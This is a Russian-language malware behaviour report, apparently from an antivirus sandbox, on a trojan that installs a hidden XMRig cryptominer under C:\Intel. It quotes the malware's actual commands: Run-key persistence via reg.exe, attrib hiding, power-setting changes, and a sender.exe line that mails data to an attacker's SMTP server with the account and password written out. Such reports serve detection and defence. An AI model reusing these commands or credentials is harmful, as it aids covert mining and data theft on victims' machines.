Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'private' = 'C:\Intel\privat.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'BMCon' = '"C:\Intel\bmcon.exe"'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\$inst\2.tmp
- C:\intel\bmcon\apps.json
- C:\intel\bmcon\bm-xmrig-amd.exe
- C:\intel\bmcon\bm-xmrig-nvidia-cuda10.exe
- C:\intel\bmcon\bm-xmrig-nvidia-cuda8.exe
- C:\intel\bmcon\bm-xmrig-nvidia.exe
- nul
- C:\intel\apps.temp.zip
- C:\intel\bmcon\bm-xmrig-x32.exe
- C:\intel\bmcon\nvrtc-builtins64_100.dll
- C:\intel\bmcon\nvrtc-builtins64_80.dll
- C:\intel\bmcon\nvrtc64_100_0.dll
- C:\intel\bmcon\nvrtc64_80.dll
- C:\intel\bmcon\bm-xmrig.json
- C:\intel\bmcon\bm-xmrig.exe
- C:\intel\bmcon\bmstart.exe
- C:\intel\privat.exe
- C:\intel\sender.exe
- C:\intel\bmcon.exe
- C:\intel\1c - ГЇГ«aГІГҐГ¦ГГ®e ГЇopГіГ·eГГГЁГҐ В№14729636725 - 2019.doc
- C:\intel\enable.cmd
- C:\intel\bmcon.json
- C:\intel\gfxui.exe.config
- C:\intel\igfxdevlib.dll
- C:\intel\iglhxa32.vp
- %TEMP%\$inst\temp_0.tmp
- C:\intel\impcd.cat
- C:\intel\mup.xml
- C:\intel\readme-vga.txt
- C:\intel\setup2.if2
- C:\intel\curl.exe
- C:\intel\sender.rar
- C:\intel\driver.exe
- C:\intel\intcdauc.dll
- C:\intel\bmcon\bm-xmrig-nvidia.json
- C:\intel\bmcon\bm-xmrig-amd.json
Удаляет следующие файлы
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- C:\intel\1c - ГЇГ«aГІГҐГ¦ГГ®e ГЇopГіГ·eГГГЁГҐ В№14729636725 - 2019.doc
- C:\intel\apps.temp.zip
Сетевая активность
Подключается к
- 'dl.###wsermine.com':443
- 'po##.bmnr.pw':4444
TCP
Запросы HTTP GET
- http://oc##.###-x3.letsencrypt.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgMuToe28YhN2ADIdAiUYke7sg%3D%3D
UDP
- DNS ASK dl.###wsermine.com
- DNS ASK sm##.##fice-center.site
- DNS ASK oc##.###-x3.letsencrypt.org
- DNS ASK po##.bmnr.pw
Другое
Ищет следующие окна
- ClassName: '' WindowName: 'C:\Intel\bmcon\bm-xmrig.exe'
Создает и запускает на исполнение
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar bmcon.exe C:\ntel\bmcon.exe /y
- 'C:\intel\bmcon.exe'
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar sender.exe C:\ntel\sender.exe /y
- 'C:\intel\sender.exe' -to recipient@office-center.site -f "Robot3<sender2@office-center.site>" -server smtp.office-center.site -port 587 -u sender2@office-center.site -pw epsiloneridana -subject "qodwrhxuaxu/user" ...
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar privat.exe C:\ntel\privat.exe /y
- 'C:\intel\bmcon\bmstart.exe' --conf="C:\Intel\bmcon.json"
- 'C:\intel\bmcon\bm-xmrig.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\enable.cmd" "' (со скрытым окном)
- 'C:\intel\driver.exe' e -hplimpid2903392 C:\Intel\sender.rar bmcon.exe C:\ntel\bmcon.exe /y' (со скрытым окном)
- 'C:\intel\bmcon.exe' ' (со скрытым окном)
- 'C:\intel\bmcon\bmstart.exe' --conf="C:\Intel\bmcon.json"' (со скрытым окном)
- 'C:\intel\bmcon\bm-xmrig.exe' ' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\winword.exe' /n "C:\Intel\1C - ГЇГ«aГІГҐГ¦ГГ®e ГЇopГіГ·eГГГЁГҐ В№14729636725 - 2019.doc"
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\wbem\wmic.exe' /Node:localhost Path Win32_VideoController Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC /Node:localhost Path Win32_VideoController Get Name /Value| FIND.EXE "="
- '%WINDIR%\syswow64\findstr.exe' .
- '%WINDIR%\syswow64\wbem\wmic.exe' CPU Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c WMIC CPU Get Name /Value|FindStr .
- '%WINDIR%\syswow64\cmd.exe' /c ver
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel\bmcon
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel
- '%WINDIR%\syswow64\powercfg.exe' -h off
- '%WINDIR%\syswow64\powercfg.exe' -change -hibernate-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -change -standby-timeout-ac 0
- '%WINDIR%\syswow64\powercfg.exe' -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
- '%WINDIR%\syswow64\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "╨Гї╨╜╤Г©╨╡╨│╤Г‡╨╕╤Г‡╨╛╨▓╨░╨╜╨╜╤ГЇ╨╡_╨┤╤Г‡╨░╨╣╨▓╨╡╤Г‡╨░" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\enable.cmd" "
- '%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v private /t reg_sz /d "C:\Intel\privat.exe" /f
- '%WINDIR%\syswow64\ping.exe' -n 3600 127.0.0.1
